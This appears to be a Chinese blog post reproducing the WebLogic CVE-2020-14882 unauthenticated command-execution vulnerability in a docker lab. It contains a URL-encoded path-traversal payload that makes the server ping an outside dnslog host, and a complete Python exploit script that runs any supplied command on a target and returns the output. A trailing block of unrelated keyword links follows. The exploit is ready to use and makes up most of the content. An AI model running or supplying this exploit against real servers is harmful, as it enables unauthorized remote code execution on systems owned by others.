weblogic未授权命令执行漏洞CVE-2020-14882是怎样的
发表于:2025-12-01 作者:千家信息网编辑
千家信息网最后更新 2025年12月01日,这篇文章给大家介绍weblogic未授权命令执行漏洞CVE-2020-14882是怎样的,内容非常详细,感兴趣的小伙伴们可以参考借鉴,希望对大家能有所帮助。未经身份验证的远程攻击者可能通过构造特殊的
千家信息网最后更新 2025年12月01日weblogic未授权命令执行漏洞CVE-2020-14882是怎样的
这篇文章给大家介绍weblogic未授权命令执行漏洞CVE-2020-14882是怎样的,内容非常详细,感兴趣的小伙伴们可以参考借鉴,希望对大家能有所帮助。
未经身份验证的远程攻击者可能通过构造特殊的 HTTP GET请求,利用该漏洞在受影响的 WebLogic Server 上执行任意代码。
用docker搭建的环境 ../vulhub/weblogic/CVE-2020-14882
访问登录界面http://192.168.81.129:7001/console/login/LoginForm.jsp
3.pyload是 /console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27ping 0cs5r3.dnslog.cn%27);%22);
我也是根据网上各大佬发布的文章弄得,可是在dnslog中并没有记录,最后我进到docker容器中进行ping命令,发现在docker中不能ping。
既然不能ping那就用python进行复现(还好自己了解点python,要不然就撞墙了)
#!/usr/bin/python3import requestsimport sysimport http.clienthttp.client.HTTPConnection._http_vsn = 10http.client.HTTPConnection._http_vsn_str = 'HTTP/1.0'if len(sys.argv) != 3:print("[+] Usage : python3 exploit.py http(s)://target:7001 command")exit()target = sys.argv[1]command = sys.argv[2]request = requests.session()headers_cmd = {'User-Agent': 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0','cmd': command,'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8','Content-Type': 'application/x-www-form-urlencoded'}cmd="""/console/css/%25%32%65%25%32%65%25%32%66consolejndi.portal?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession('weblogic.work.ExecuteThread currentThread = (weblogic.work.ExecuteThread)Thread.currentThread(); weblogic.work.WorkAdapter adapter = currentThread.getCurrentWork(); java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");field.setAccessible(true);Object obj = field.get(adapter);weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod("getServletRequest").invoke(obj); String cmd = req.getHeader("cmd");String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};if(cmd != null ){ String result = new java.util.Scanner(new java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter("%5C%5CA").next(); weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod("getResponse").invoke(req);res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));res.getServletOutputStream().flush();} currentThread.interrupt();')"""url_cmd = target+cmdresponse = request.get(url_cmd, headers=headers_cmd, verify=False)print(response.text)print("[+] Attack complete!")
最后我想如果不用docker搭建环境,直接用系统是不是就可以ping了...
关于weblogic未授权命令执行漏洞CVE-2020-14882是怎样的就分享到这里了,希望以上内容可以对大家有一定的帮助,可以学到更多知识。如果觉得文章不错,可以把它分享出去让更多的人看到。
命令
漏洞
内容
文章
更多
环境
帮助
不错
特殊
不用
代码
兴趣
容器
小伙
小伙伴
攻击者
是在
未经
界面
知识
数据库的安全要保护哪些东西
数据库安全各自的含义是什么
生产安全数据库录入
数据库的安全性及管理
数据库安全策略包含哪些
海淀数据库安全审计系统
建立农村房屋安全信息数据库
易用的数据库客户端支持安全管理
连接数据库失败ssl安全错误
数据库的锁怎样保障安全
浙江仓库管理软件开发
数据库如何建立视图
db2列出数据库表空间命令
米内网销售数据库
你接触过哪些软件开发工具
服务器主机名 ip
黄山系统软件开发外包公司
vidon服务器
软科 网络安全
s3文件服务器
门禁数据库表格
荣科科技互联网医疗
温州市网络安全监察大队号码
安徽定制软件开发多少钱
数据库系统dbs包括6
学习建设网络安全
摩拜 数据库
数据库界面设计
服务器调试机器
计算机网络技术课程练习题二
网络安全登记保护备案
数据库账号密码多少
权威服务器解析的过程
qq能不能清空所有数据库
西工软件开发价格
北京抖音云控软件开发商
生产管理软件开发需求文档
软件开发应届生求职简历
网络安全新疆
浙江特色软件开发行业标准